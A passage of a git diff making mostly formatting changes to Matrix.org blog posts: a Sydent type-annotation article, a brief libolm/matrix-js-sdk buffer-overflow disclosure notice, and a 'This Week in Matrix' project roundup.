`log.err` was straightforward, thanks mainly to Twisted's thorough documentation. I chose to write it by hand, rather than use [stubgen](https://mypy.readthedocs.io/en/stable/stubgen.html). I'd heard of the latter, but was reluctant to use it for a few reasons. @@ -93,6 +93,7 @@ and later, [the IResponse](https://github.com/matrix-org/sydent/blob/e4b4dbbdf25 res: IResponse res = yield agent.request(method, uri, headers, bodyProducer) ``` + - In this example: - We yield a value `y: Deferred[Any]`. @@ -113,18 +114,20 @@ async def bar() -> None: reveal_type(x) ``` -``` +```txt $ mypy example.py example.py:6: note: Revealed type is "typing.Coroutine[Any, Any, builtins.int]" example.py:7: note: Revealed type is "builtins.int*" ``` Behind the scenes, I _think_ that `x = await foo()` is really using the same mechanism as the `inlineCallbacks` approach. + - An `async def` function is really a generator function behind the scenes. - When we `await foo()`, we yield the expression `foo()` - Then the machinery running our coroutine `c` will call `c.send(x)` to resume execution, where `x` is the value produced by waiting for `foo()`. With the `await` form, mypy knows two things: + - the value `foo()` which was yielded should be `Awaitable[T]`, and - the value `x` send to the coroutine should come from awaiting `foo()`, and therefore be of type `T`. @@ -152,15 +155,12 @@ except StopIteration as e: All in all, the handling of `inlineCallbacks` is a situation specific to working with (older?) twisted code. It's still nice to understand what's going on behind the scenes though! - - #### `zope.interface.Interface` Twisted makes use of `zope`'s `Interface` to define a number of abstract interface classes. Speaking personally, I've not seen it used outside twisted, and I think that means it's not supported by much of the typechecking tooling. For example, I've definitely seen PyCharm struggle to realise that it's okay to pass a `Response` to a function which expects an `IResponse`! Here's a more complicated example where `PyCharm` isn't happy with me widening the type `LoggingHostnameEndpoint` to `IStreamClientEndpoint`, even though [the latter implements the former](https://github.com/matrix-org/sydent/blob/92ff7a878a25696365b10cc49e32f5cba32c5960/sydent/http/matrixfederationagent.py#L379-L380). ![Screenshot from pycharm showing a false positive warning](/blog/img/2021-12-10-pycharm-false-positive.png) - Mypy out of the box doesn't play well with a zope `Interface` (nor does any other typechecker I tried). Fortunately, the excellent [mypy-zope](https://github.com/Shoobx/mypy-zope) plugin helps here: it teaches mypy that any class like `Response` which `@implements(IResponse)` can be passed in place of an `IResponse`. ### Tricks of the trade @@ -184,6 +184,7 @@ def decorator(input: F) -> F: ``` The idea here is + 1. Use `Callable[..., Any]` to describe a generic function with no particular signature. 2. Use that as a bound on a type variable `F`. At each usage of `@decorator`, mypy will deduce a more specific version of `F`, e.g. `Callable[[int], str]`. 3. Within that usage of `@decorator`, `F` is fixed to that specific type. We use `-> F` to express that "we return a function with the same signature as the decoratee". @@ -219,11 +220,10 @@ C(123).greeting() # TypeError: can only concatenate str (not "int") to str Replacing the `Any` with `object` does allow mypy to spot the problem. -``` +```txt error: Unsupported operand types for + ("str" and "object") [operator] ``` - #### `# type: ignore` and `cast` sparingly There's a good chance that mypy knows better than we do, so we should only overrule it if there's no better option. There are two techniques for this. One option is to tell mypy to just silence the error, by appending a `# type: ignore` comment to the erroneous line. The other is to force it to accept that a certain expression has a given type: that's what [cast](https://docs.python.org/3/library/typing.html?highlight=paramspec#typing.cast) is for. @@ -239,12 +239,11 @@ It's worth a read through the [module documentation](https://docs.python.org/3/l - [Protocol](https://docs.python.org/3/library/typing.html?highlight=typing%20protocol#typing.Protocol): lets you formalise duck typing. To use it, define a class that inherits from `Protocol`. Its methods and attributes are all stubs which describe what you require of objects belonging to this type. It's like an [abstract base class](https://docs.python.org/3/library/abc.html?highlight=abc#module-abc) or interface, but purely at typecheck time. - [Generic](https://docs.python.org/3/library/typing.html?highlight=typing%20generic#typing.Generic): define your own generic types. A bit of a slippery slope to type mania! -- [Optional`](https://docs.python.org/3/library/typing.html?highlight=typing%20generic#typing.Optional): I use this all the time. It's always good to make your `None`s explicit! +- [Optional`](https://docs.python.org/3/library/typing.html?highlight=typing%20generic#typing.Optional): I use this all the time. It's always good to make your`None`s explicit! - [NewType](https://docs.python.org/3/library/typing.html?highlight=typing%20generic#typing.NewType): I haven't had a chance to use it much. As I understand it, it's a way to define a "strong typedef". For example, we can use it to distinguish lengths from durations, even if they're both represented by a `float` at runtime. I want to call out two parts of `typing` in particular: - #### [overload](https://docs.python.org/3/library/typing.html?highlight=typing%20generic#typing.overload) `overload` is a way to provide extra information about a function depending on how it's called. For instance, consider this function which takes a `str` or `bytes` as input and returns its uppercase version. @@ -295,7 +294,7 @@ if f(10) == 2: We can see that `f(10) == 1` and so the equality is always `False`: we'll never print the word "potato". Mypy can reason through this too, if we ask it nicely. -``` +```bash $ mypy example.py Success: no issues found in 1 source file diff --git a/content/blog/2021/12/2021-12-13-disclosure-buffer-overflow-in-libolm-and-matrix-js-sdk.md b/content/blog/2021/12/2021-12-13-disclosure-buffer-overflow-in-libolm-and-matrix-js-sdk.md index 955fd762b..aaecfe237 100644 --- a/content/blog/2021/12/2021-12-13-disclosure-buffer-overflow-in-libolm-and-matrix-js-sdk.md +++ b/content/blog/2021/12/2021-12-13-disclosure-buffer-overflow-in-libolm-and-matrix-js-sdk.md @@ -24,7 +24,7 @@ Client versions incorporating the fixes are: These releases mitigate a buffer overflow in `olm_session_describe`, a libolm debugging function used by matrix-js-sdk in its end-to-end encryption (E2EE) implementation. If you rely on matrix-js-sdk for E2EE, you are affected. This vulnerability has been assigned [CVE-2021-44538](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44538). -Clients which do *not* use matrix-js-sdk for E2EE, like FluffyChat or Element Android / iOS, are _not_ affected. +Clients which do *not* use matrix-js-sdk for E2EE, like FluffyChat or Element Android / iOS, are *not* affected. This issue has been present since the introduction of the `olm_session_describe` function in October 2019 (commits: [libolm](https://gitlab.matrix.org/matrix-org/olm/-/commit/39a1ee0b18f0fced6d7bc293cc9a46ea70ec9e96), [matrix-js-sdk](https://github.com/matrix-org/matrix-js-sdk/commit/e6699c5424a856a639baa6d6f78d44594baaf404)). diff --git a/content/blog/2021/12/2021-12-17-this-week-in-matrix-2021-12-17.md b/content/blog/2021/12/2021-12-17-this-week-in-matrix-2021-12-17.md index 5ba7831d0..e13ac665c 100644 --- a/content/blog/2021/12/2021-12-17-this-week-in-matrix-2021-12-17.md +++ b/content/blog/2021/12/2021-12-17-this-week-in-matrix-2021-12-17.md @@ -20,30 +20,31 @@ A supercharged episode this week with five super exciting demos! [TravisR](https://matrix.to/#/@travis:t2l.io) reports -> Hey all, it's me again, not-anoa, with your spec update. I don't have a graph for you this week, but I do have curated content which hopefully holds you over until next week 🙂 -> +> Hey all, it's me again, not-anoa, with your spec update. I don't have a graph for you this week, but I do have curated content which hopefully holds you over until next week 🙂 +> > This week we've seen a few new MSCs get opened up: +> > * [MSC3567 - Allow requesting events from the start/end of the room history](https://github.com/matrix-org/matrix-doc/pull/3567) > * [MSC3570 - Room history visibility changes for relations](https://github.com/matrix-org/matrix-doc/pull/3570) > * [MSC3571 - Relation aggregation pagination](https://github.com/matrix-org/matrix-doc/pull/3571) > * [MSC3572 - Relation aggregation cleanup](https://github.com/matrix-org/matrix-doc/pull/3572) -> -> As demonstrated, a few of them are follow-on work from aggregations. A lot of the work is an effort to get [MSC2675 - Serverside aggregations of message relationships](https://github.com/matrix-org/matrix-doc/pull/2675) through FCP - it's changed quite a bit in the last week, so if you reviewed it before then please give it a quick read! -> +> +> As demonstrated, a few of them are follow-on work from aggregations. A lot of the work is an effort to get [MSC2675 - Serverside aggregations of message relationships](https://github.com/matrix-org/matrix-doc/pull/2675) through FCP - it's changed quite a bit in the last week, so if you reviewed it before then please give it a quick read! +> > We're also gearing up for [MSC1767 - Extensible event types & fallback in Matrix](https://github.com/matrix-org/matrix-doc/pull/1767) receiving attention early next year. This is currently being evaluated by features like [MSC3245 - Voice messages](https://github.com/matrix-org/matrix-doc/pull/3245), [MSC3381 - Polls](https://github.com/matrix-org/matrix-doc/pull/3381), and [MSC3488 - Static location sharing](https://github.com/matrix-org/matrix-doc/pull/3488). If all goes according to plan, the first pieces of Extensible Events will land soon. -> +> > Thib has caught me quite close to the deadline on TWIM, so while I don't have a random MSC for you this week I do recommend some light reading around aggregations and extensible events - these are both major features for Matrix and help shape the future for other, even more exciting, features. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) announces > ## Random MSC -> +> > Since the script didn't run, I manually generated random numbers until I actually got one, that matches an MSC and is not a draft! -> +> > So the random MSC is: [MSC2461: Proposal for Authenticated Content Repository API](https://github.com/matrix-org/matrix-doc/pull/2461) -> +> > The goal of this MSC is to restrict who can access files in your content repository, which is used to share files, images, voice messages and more on Matrix. Currently this is secured by using random identifiers, but this MSC wants to add a few more restrictions: A signed-in user can still access everything, but if you don't provide an access token, when downloading media, you either can access no media, only media that was sent from that server, only media which the server already downloaded or everything. The level of access can be set by the server admin. -> +> > I think this would be really nice to have, but it has various challenges when implementing it in clients and when it needs to work across federation. It could limit how much random users can fill up your disk though, which is especially important for small server admins! ## Dept of Servers 🏢 @@ -55,11 +56,11 @@ Synapse is the reference homeserver for Matrix [callahad](https://matrix.to/#/@callahad:matrix.org) reports > Happy holidays! This week we [released Synapse 1.49.0](https://matrix.org/blog/2021/12/14/synapse-1-49-0-released), our last planned release of the year. This is the last release that supports Python 3.6 or PostgreSQL 9.6; if you've not upgraded, now is the time! -> +> > Most notably, this release includes stable support for [MSC2918: Refresh tokens](https://github.com/matrix-org/matrix-doc/pull/2918). This is a more secure alternative to long-lived access tokens, and we'd encourage clients to implement support for refresh tokens as described in the MSC. -> +> > We also released [Sygnal 0.11](https://github.com/matrix-org/sygnal/releases/), which includes _loads_ of bugfixes. For the Element-managed Sygnal instances, this release has reduced our daily Sentry error rate by over 99%, dramatically improving the signal-to-noise ratio of our monitoring. -> +> > See you in January with Synapse 1.50! 🎄 ### Sydent [↗](https://github.com/matrix-org/sydent) @@ -69,7 +70,7 @@ Sydent is the reference Matrix Identity server. It provides a lookup service, so [dmr](https://matrix.to/#/@dmrobertson:matrix.org) announces > I've just published the [third and final](https://matrix.org/blog/2021/12/17/type-coverage-for-sydent-evaluation) post on Sydent's type annotations ([part 1](https://matrix.org/blog/2021/12/03/type-coverage-for-sydent-motivation), [part 2](https://matrix.org/blog/2021/12/03/type-coverage-for-sydent-motivation)). This one is more reflective and tries to quantify our efforts: how well have we done? -> +> > Thanks for reading---I hope it's been useful. ## Homeserver Deployment 📥️ @@ -91,15 +92,17 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) reports > We are planning to have a small release next week, that fixes a few issues with the 0.9.0 release. It would be lovely if some of you could test one of our [nightlies](https://matrix-static.neko.dev/room/!TshDrgpBNBDmfDeEGN:neko.dev/) or could check if the translations for a language you speak are up to date in [our weblate](https://weblate.nheko.im/projects/nheko/nheko-master/#translations). -> +> > Some of the fixes this week include another crash fix for handling matrix links from your browser, notification bubbles that can show values over 9000(!), better preview images for sticker and emote packs created in Nheko, allowing you to click links in replies, a few layout and click area fixes. Nheko now also keeps track of your latest reactions and gives you easy access to them in the hover menu. -> +> > Nheko now also finally supports pinned messages! Most of you probably don't know, but that feature has pretty much always been in the matrix spec, but very few clients expose it. Today Nheko joins that rank! It's part of our goal to provide better support for building communities. Topics can be quite limiting, because they can only contain plain text. Pinned messages allow for much more creative freedom! They can also be encrypted, while state events currently never are, but the key for that isn't reshared, so currently experience in encrypted rooms is a tradeoff. Maybe we'll go for an encrypted description event in the future, but for now this seems to be a good solution to bridge the gap. -> +> > Let's hope the current master branch is good and we'll have a release with ALL THE FIXES next week! And thank you everyone, who already translated and reported issues! It took less than 10 hours to have 5 languages updated to 100%! Last year we didn't even have that many languages at 100%! You guys are AMAZING! <3 -> +> +> > ![](/blog/img/RNnSTOGBVtfiaOCHOQqGolHU.png) -> +> +> > ![](/blog/img/PTyCXJMeTKobmwZOtWipMTon.png) ### Element [↗](https://element.io) @@ -109,33 +112,34 @@ Everything related to Element but not strictly bound to a client [kittykat](https://matrix.to/#/@kittykat:matrix.org) announces > Development has kicked off for location sharing! Watch this space for more news in the new year. -> +> > ### Threads -> +> > * List of threads in a room is now more accurate and viewing very long threads has improved with the integration with the homeserver APIs. (These APIs are not enabled on matrix.org yet.) > * Threads on mobile platforms are catching up to Web, with many changes in review. > * Iterated on the design for restricted history threads and search results across all platforms. > * Design for thread previews in room list has been improved for mobile platforms. > * Improved Android bottom sheet expandable and scrollable behaviour design. > * We’ve created [MSC3567](https://github.com/matrix-org/matrix-doc/blob/clokep/messages-from/proposals/3567-optional-from-on-messages.md) to fix some edge cases with API calls -> +> > ### Polls -> +> > * Only one Android bug is outstanding! > * Gathering feedback to incorporate into the next phase of development, join us for the community testing session on Monday at 17:00 in [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org) -> +> > ### VoIP -> +> > * Continuing with polishing & bug fixing for full mesh calling app. One remaining bug somewhere causing members to not connect properly. Finalising how much of registration & login we can/want to implement for the short term until it’s replaced by OAuth login. -> +> > ### Community testing sessions -> +> > * Tested all three Release Candidates (RCs) at the same time for the first time! Did not find any new web issues when testing first time user experiences and basic interactions on Web. We found 6 new issues on Android and 9 on iOS. > * Tried out the Information Architecture changes on web with the Delight team. Very exciting to see these changes available in Labs already! > * Closed 33 out of 60 re-tested encryption issues on Web and prioritised a few to be considered for upcoming work. > * Next sessions, join [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org) : -> * 17:00 UTC / 18:00 CET on Monday 20th December to test the new Polls feature -> * 16:30 UTC / 17:30 CET on Tuesday 21st December to squash more encryption bugs! +> * 17:00 UTC / 18:00 CET on Monday 20th December to test the new Polls feature +> * 16:30 UTC / 17:30 CET on Tuesday 21st December to squash more encryption bugs! +> > ![](/blog/img/ArjkIIisnkKvKLfmKOoeLgGl.gif) ### Element Web/Desktop [↗](https://github.com/vector-im/element-web) @@ -146,9 +150,9 @@ Secure and independent communication, connected via Matrix. Come talk with us in > * We’ve been working on auto-generating code and documentation for events raised by our client analytics (code [here](https://github.com/matrix-org/matrix-analytics-events/), PR for documentation generation [here](https://github.com/matrix-org/matrix-analytics-events/)). This allows us to publish a comprehensive list of everything our analytics capture, which is great both for end users and for people doing analysis. > * In labs (you can enable labs features in settings on develop.element.io or on Nightly) -> * First milestone reached on[ Information Architecture](https://github.com/vector-im/element-meta/issues/56)! To try it out, enable “Threaded messaging”, “Use new room breadcrumbs” and “New spotlight search experience” in the Labs settings. -> * We’re actively collecting feedback on IA to review in the new year. -> * Starting work on Message Bubble defects +> * First milestone reached on[Information Architecture](https://github.com/vector-im/element-meta/issues/56)! To try it out, enable “Threaded messaging”, “Use new room breadcrumbs” and “New spotlight search experience” in the Labs settings. +> * We’re actively collecting feedback on IA to review in the new year. +> * Starting work on Message Bubble defects ### Element iOS [↗](https://github.com/vector-im/element-ios) @@ -160,9 +164,10 @@ Secure and independent communication for iOS, connected via Matrix. Come talk wi > * Polls changes are in this week’s release candidate (RC) and will be available behind a Labs flag in the next release. > * Analytics changes have been merged into the RC and opt-in will be available soon. > * In development: -> * Spaces is coming closer to completion: we’re there on space creation, adding rooms to spaces, space management and more. Release coming in the new year! -> * Work on implementing new login flow continues, with more improvements incoming. -> +> * Spaces is coming closer to completion: we’re there on space creation, adding rooms to spaces, space management and more. Release coming in the new year! +> * Work on implementing new login flow continues, with more improvements incoming. +> +> > ![](/blog/img/KdSaHslcYIIeqsUrscQsshAA.png) ### Element Android [↗](https://github.com/vector-im/element-android) @@ -175,26 +180,25 @@ Secure and independent communication for Android, connected via Matrix. Come tal > * Analytics framework has been merged, opt-in request will be shown to users once more translations have landed. For now, you can enable it in the settings. > * Work on Message Bubbles has started! -### Cinny [↗](https://cinny.in) +### Cinny v1.6.0 [↗](https://cinny.in) Cinny is a Matrix client focused on simplicity, elegance and security [ajbura](https://matrix.to/#/@ajbura:matrix.org) says -> # Cinny v1.6.0 -> -> ### Features +> #### Features +> > * Room Timeline -> - Add pagination in room timeline -> - Replies link back to original message event -> - Use formatted_body to parse markdown -> - Support rich replies -> - Separation of read/unread messages in the room -> - Typing outside of an input box should focus the message field -> - Spoiler display support -> - User pill display support -> - Custom emoji display support -> - Performance improvements +> * Add pagination in room timeline +> * Replies link back to original message event +> * Use formatted_body to parse markdown +> * Support rich replies +> * Separation of read/unread messages in the room +> * Typing outside of an input box should focus the message field +> * Spoiler display support +> * User pill display support +> * Custom emoji display support +> * Performance improvements > * Export E2E key for decrypting history in another client > * Replaced go-to commands with Room search modal (Ctrl + k) > * Remember people panel state @@ -202,23 +206,26 @@ Cinny is a Matrix client focused on simplicity, elegance and security > * Add option to hide membership and user events from timeline > * Messages now span to full viewport width > * Add animation on hover in sidebar/avatar -> -> ### Bugs +> +> #### Bugs +> > * Fix defer typing notifications until it can't be a command > * Fix checkbox in register page > * Fix app sending read receipt in background > * Fix crash on creating room > * Fix dark theme colors -> -> ### Security update +> +> #### Security update +> > * Matrix-js-sdk to v15.2.1 > * Olm to v3.2.8 > This release include [security release of libolm and matrix-js-sdk](https://matrix.org/blog/2021/12/13/disclosure-buffer-overflow-in-libolm-and-matrix-js-sdk), so down-streamers please update ASAP. -> -> Find more about Cinny at https://cinny.in/ +> +> Find more about Cinny at > Join our channel at: [#cinny:matrix.org](https://matrix.to/#/#cinny:matrix.org) -> Github: https://github.com/ajbura/cinny -> Twitter: https://twitter.com/@cinnyapp +> Github: +> Twitter: +> > ![](/blog/img/tSdPEWxSdqCyONfgAVmjMeRK.png) ## Dept of Non Clients 🎛️ @@ -230,6 +237,7 @@ A decentralized and federated way of annotating the web based on Matrix. [Daniel](https://matrix.to/#/@daniel:matrix.danilafe.com) announces > I've been working on a matrix-based tool for highlighting and annotating websites. By building on top of matrix, we can effectively have a decentralized, federated and collaborative way to leave notes and highlights on pages. I wrote a [brief introduction on my blog](https://danilafe.com/blog/introducing_highlight/), as well as made a little bit of a simple [demo video](https://youtu.be/Q3h5A0DsE1s). Here's a copy-pasted list of planned and existing features: +> > * **Current**: Create and send website annotations over Matrix. > * **Current**: Store data in a decentralized and federated manner. > * **Current**: Share highlights with other users, including those on other servers. @@ -239,11 +247,13 @@ A decentralized and federated way of annotating the web based on Matrix. > highlights. > * **Planned**: Use something like [ArchiveBox](https://archivebox.io/) to cache the current version of a website and prevent annotations from breaking. > * **Planned** Highlight PDFs in addition to web pages. -> +> > Come join [#matrix-highlight:matrix.danilafe](https://matrix.to/#/#matrix-highlight:matrix.danilafe).com to receive updates about the project! -> +> > I haven't published the code just yet, but I'm going to as soon as the tool is in better shape. +> > ![](/blog/img/iNQhWZroTXrGCTBslRLoFjQC.png) +> > ![](/blog/img/npsGwapwwnSHcenQaCnWoTyi.png) [Daniel](https://matrix.to/#/@daniel:matrix.danilafe.com) announces @@ -256,10 +266,10 @@ A Social Annotation Tool Powered by Matrix [gleachkr](https://matrix.to/#/@gleachkr:matrix.org) announces -> I've been teaching a class this semester using a tool built on the matrix-js-sdk and tentatively entitled [populus-viewer](https://github.com/opentower/populus-viewer). Populus-viewer uses Matrix as a backend for the social annotation of PDFs, with the goal of helping matrix become a platform for teaching and scholarly collaboration. If you're interested in learning more, or adopting populus-viewer in your teaching, come visit [#opentower:matrix.org](https://matrix.to/#/#opentower:matrix.org)! -> +> I've been teaching a class this semester using a tool built on the matrix-js-sdk and tentatively entitled [populus-viewer](https://github.com/opentower/populus-viewer). Populus-viewer uses Matrix as a backend for the social annotation of PDFs, with the goal of helping matrix become a platform for teaching and scholarly collaboration. If you're interested in learning more, or adopting populus-viewer in your teaching, come visit [#opentower:matrix.org](https://matrix.to/#/#opentower:matrix.org)! +> > Populus-Viewer currently supports: -> +> > * Annotation of PDFs with highlights and pin-drops > * Matrix conversations based on annotations > * Audio and video messages @@ -269,19 +279,18 @@ A Social Annotation Tool Powered by Matrix > * Typing notifications > * Synchronized reading position across devices > * SSO, with single-click links for embedding in an LMS like Canvas or Blackboard. -> +> > As the project develops, I'm hoping to continue to polish the reading experience, and to add support for other mime types (audio and video especially). {{ youtube_player(video_id="WM_JGbEffIg") }} - ### matrix-streamchat [↗](https://git.pixie.town/f0x/matrix-streamchat) Matrix powered stream overlay for OBS, to integrate live chat in your favorite (selfhosted) streaming setups. [f0x](https://matrix.to/#/@f0x:pixie.town) announces -> TWIM I got started on the chat part of [matrix-streamchat](https://git.pixie.town/f0x/matrix-streamchat), to provide a lightweight embeddable Matrix client to be used alongside streams in Owncast and PeerTube. It will use guest access, and lots more features to come like extensive custom emote support. For now refactoring a bunch of things first before adding more flashy things, but who knows, you might see me do it live on https://stream.pixie.town +> TWIM I got started on the chat part of [matrix-streamchat](https://git.pixie.town/f0x/matrix-streamchat), to provide a lightweight embeddable Matrix client to be used alongside streams in Owncast and PeerTube. It will use guest access, and lots more features to come like extensive custom emote support. For now refactoring a bunch of things first before adding more flashy things, but who knows, you might see me do it live on {{ youtube_player(video_id="c8mWsQzZow0") }} @@ -293,7 +302,7 @@ An implementation of Olm and Megolm in pure Rust. [Matthew](https://matrix.to/#/@matthew:matrix.org) says -> Introducing vodozemac (https://github.com/matrix-org/vodozemac) - a rewrite of libolm in Rust by poljar and dkasak! The intention is for this to become the reference Olm implementation going forwards, and to get it audited asap (and benefit from all of Rust’s nice safety and parallelism features, and better crypto primitives!) +> Introducing vodozemac () - a rewrite of libolm in Rust by poljar and dkasak! The intention is for this to become the reference Olm implementation going forwards, and to get it audited asap (and benefit from all of Rust’s nice safety and parallelism features, and better crypto primitives!) ### simplematrixbotlib [↗](https://github.com/KrazyKirby99999/simple-matrix-bot-lib) @@ -301,22 +310,24 @@ simplematrixbotlib is an easy to use bot library for the Matrix ecosystem writte [krazykirby99999](https://matrix.to/#/@krazykirby99999:matrix.org) says -> ## Version 2.5.0 Released! -> +> ## Version 2.5.0 Released +> > simplematrixbotlib is an easy to use bot library for the Matrix ecosystem written in Python and based on matrix-nio. Version 2.5.0 adds improvements to the config feature. -> ### Feature Changes: +> +> ### Feature Changes +> > * Add allow/block lists: This allows bot developers to specify allow/block lists of users who have permission to interact with the bot using regex. > * Permissions can checked with `Match.is_from_allowed_user()`, which lets the bot developer choose which responses are restricted. > * The allow/block lists can by modified at runtime via the `Config.add_allowlist()`, `Config.remove_allowlist()`, `Config.add_blocklist()`, and `Config.remove_blocklist()` methods. -> +> > A thank you to HarHarLinks for their contributions to version 2.5.0! -> +> > Request additional features [here](https://github.com/KrazyKirby99999/simple-matrix-bot-lib/issues/new?assignees=&labels=&template=feature_request.md&title=). -> +> > [View source on Github](https://github.com/KrazyKirby99999/simple-matrix-bot-lib) > [View package on PyPi](https://pypi.org/project/simplematrixbotlib/) > [View docs on readthedocs.io](https://simple-matrix-bot-lib.readthedocs.io/en/latest/) -> https://matrix.to/#/#simplematrixbotlib:matrix.org +> ### Dimension [↗](https://github.com/turt2live/matrix-dimension) @@ -325,13 +336,14 @@ An open source integration manager for matrix clients, like Element. [TravisR](https://matrix.to/#/@travis:t2l.io) announces > [Dimension](https://github.com/turt2live/matrix-dimension), an integration manager alternative for Element, has received a bunch of updates over the last couple weeks: -> -> * Added (early) support for [matrix-hookshot](https://github.com/Half-Shot/matrix-hookshot)'s GitHub, Jira, and Webhooks bridging. +> +> * Added (early) support for [matrix-hookshot](https://github.com/Half-Shot/matrix-hookshot)'s GitHub, Jira, and Webhooks bridging. > * Most of a redesign complete to make it feel more like an Element UI rather than something special and third party. -> -> If you're interested in helping out in getting the redesign finished, please check out https://github.com/turt2live/matrix-dimension/issues/458 which has reference mockups and linked issues. The major parts are the "complex bots" (Travis CI, RSS, etc) and the sticker integration. Unfortunately, I don't have enough free time to work on it myself in the near term, but will get back to it eventually 🙂 -> +> +> If you're interested in helping out in getting the redesign finished, please check out which has reference mockups and linked issues. The major parts are the "complex bots" (Travis CI, RSS, etc) and the sticker integration. Unfortunately, I don't have enough free time to work on it myself in the near term, but will get back to it eventually 🙂 +> > And now, a complementary screenshot of the Good™ parts: +> > ![](/blog/img/83fb70def97801c405383cbe0da72baa0d0bff1c.png) ## Dept of Ops 🛠 @@ -342,7 +354,8 @@ A Github Action for sending messages to a Matrix Room. [krazykirby99999](https://matrix.to/#/@krazykirby99999:matrix.org) reports -> ## Example Usage: +> ## Example Usage +> > ```yaml > # .github/workflows/matrix-commit.yml > on: @@ -371,21 +384,23 @@ A Github Action for sending messages to a Matrix Room. > message: "#### New Commit:" > > ``` -> -> ## Notes: -> -> ### Syntax: +> +> ## Notes +> +> ### Syntax +> > * The homeserver should be in the form of `https://domain.tld` > * The username should be the username, not the user id. (`krazykirby99999`, not `@krazykirby99999:matrix.org`) > * The room_id should be the internal room id of the room, not the published address. (`!QQpfJfZvqxbCfeDgCj:matrix.org`, not `#thisweekinmatrix:matrix.org`) This can be found under Room Options > Advanced > Room Information in the Element Client. -> +> > ### Other +> > * If the room_id is not specified, the bot will send the message to all joined rooms. > * If the message is not specified, it will default to `Commit:`. > * The bot will join all invited rooms upon the start of an action. -> -> Contributions are welcome - https://github.com/KrazyKirby99999/matrix-commit -> +> +> Contributions are welcome - +> > ![Example Image](https://matrix-client.matrix.org/_matrix/media/r0/download/matrix.org/pHEBXSjdXSKpGDFsrdkttAbh) ## Dept of Bots 🤖 @@ -397,11 +412,11 @@ A Matrix appservice for relaying messages. [mr_johnson22](https://matrix.to/#/@mr_johnson22:matrix.org) says > **[matrix-imposter-bot](https://github.com/mrjohnson22/matrix-imposter-bot)** - A bot that uses your account to repeat other people's messages. This gives relay-bot capabilities to puppet-only bridges. -> +> > I made this project a while ago to hack in a relay mode to the [mautrix Facebook bridge](https://github.com/mautrix/facebook). But as of this week, that bridge supports relaying natively! 🎉 Thus, my main motivation for maintaining imposter-bot is obsolete, and the project will be on indefinite hiatus. -> +> > With that said, it can (mostly) still be used to add relay support to any bridges that don't yet support a relay mode themselves--but native relay support is always better! -> +> > Thanks to everyone who's shown interest in the project, and to tulir for making such great bridges! ## Dept of Interesting Projects 🛰️ @@ -412,34 +427,36 @@ An R package To Gather Stats From Chat Platforms [Gwmngilfen](https://matrix.to/#/@gwmngilfen:matrix.org) announces -> A project has started to re-implement the venerable mIRCstats for Matrix! It's in very early stages, right now it only does "getting a data-frame of events for a list of rooms" and has no *actual* visualisations baked in **yet**. However, we're moving quickly, and I hope to have some initial easy-to-use viz in place over the Christmas break. -> -> The project is written in R (because I am an R user, and its good for data and viz work :P) and you can find it [here](https://github.com/GregSutcliffe/ChatStat/). If you're new to R and want to give it a go, check out the *extremely* brief howto I just wrote [here](https://github.com/GregSutcliffe/ChatStat/wiki/A-non-R-user's-guide-to-ChatStat). I look forward to all the ways you will tell me it's broken! -> +> A project has started to re-implement the venerable mIRCstats for Matrix! It's in very early stages, right now it only does "getting a data-frame of events for a list of rooms" and has no _actual_ visualisations baked in **yet**. However, we're moving quickly, and I hope to have some initial easy-to-use viz in place over the Christmas break. +> +> The project is written in R (because I am an R user, and its good for data and viz work :P) and you can find it [here](https://github.com/GregSutcliffe/ChatStat/). If you're new to R and want to give it a go, check out the _extremely_ brief howto I just wrote [here](https://github.com/GregSutcliffe/ChatStat/wiki/A-non-R-user's-guide-to-ChatStat). I look forward to all the ways you will tell me it's broken! +> +> > ![](/blog/img/2021-12-17-chatstat.png) -## Dept of *Built on Matrix* 🏗️ +## Dept of _Built on Matrix_ 🏗️ ### Saint Petersburg Widget [(A Board Game build on Matrix)](https://github.com/toger5/st-petersburg-widget) [Timo K.](https://matrix.to/#/@toger5:matrix.org) announces - > Board games are great. And Matrix and its widget api turned out to be an excellent environment to create collaborative board games. With some really impressive conditions: +> > * I don't have to maintain a server with a database. > * I don't have to create a custom account systems user need to register. They play with their matrix account, which also makes accessibility great. Someone invites you in a room with the game and you can play! > * I just need to host one static file and ppl will be able to play as long as that static site exists. -> +> > This project tries to be two things. A tech demo and inspiration to what is possible with widgets (Especially, with the changes on how widgets can be displayed in element (Check the "matrix live" Demos! 😊) ) > Second it should serve as source and resource. For ideas and solutions on how no trust games can be executed without server (third party) side logic. And, for the ones interested, also as a resource on how widgets are implemented. -> +> > Last but not least the game Saint Petersburg is really fun. It takes a couple of minutes to grasp the rules but it is one of those games where there are so many things that can be considered with simple rules that it becomes more and more exciting with each round. So I really invite you to check out the [rules](https://www.fgbradleys.com/rules/rules4/Saint%20Petersburg%20-%20rules.pdf) and give it a try. Its best to start in the [Git Repo](https://github.com/toger5/st-petersburg-widget) or join the this room: [#st-petersburg-auth:matrix.org](https://matrix.to/#/#st-petersburg-auth:matrix.org) -> +> > To put it simple, the widget works like this: The game state is stored in the room state and is updated through the widget directly. > This of course raises **questions**: How is it still possible to prohibit users from cheating and manually changing parameters like, how much money they own. Everyone (who has the permission) is always able to send whatever state events they want? > How is it possible to draw random cards if there is no third party involved. Could I not just send a state event with the cards that I hope are going to be drawn and are beneficial for me. Can we make card drawing deterministic? Not really since then everyone know what is going to happen. Which kind of breaks the game... -> +> > I would be super happy, if someone is interested and wants to find answer to the questions above by checking out the [README](https://github.com/toger5/st-petersburg-widget/blob/main/README.md). +> > ![](/blog/img/xEMkNtlvWhazgWCSjDfxREVB.png) ## Matrix in the News 📰 @@ -448,8 +465,8 @@ An R package To Gather Stats From Chat Platforms > There is an article (exclusive to paid subscribers) in the German tech news/magazine website heise.de about > "Running your own messaging service using the matrix server" -> https://www.heise.de/ratgeber/Eigener-Chatserver-Mit-dem-Matrix-Server-einen-Messaging-Dienst-betreiben-6289020.html -> +> +> > I'm not a subscriber but sounds like they go over how to set up using the Ansible playbook [#matrix-docker-ansible-deploy:devture.com](https://matrix.to/#/#matrix-docker-ansible-deploy:devture.com) ## Dept of Ping 🏓 @@ -457,6 +474,7 @@ An R package To Gather Stats From Chat Platforms Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### 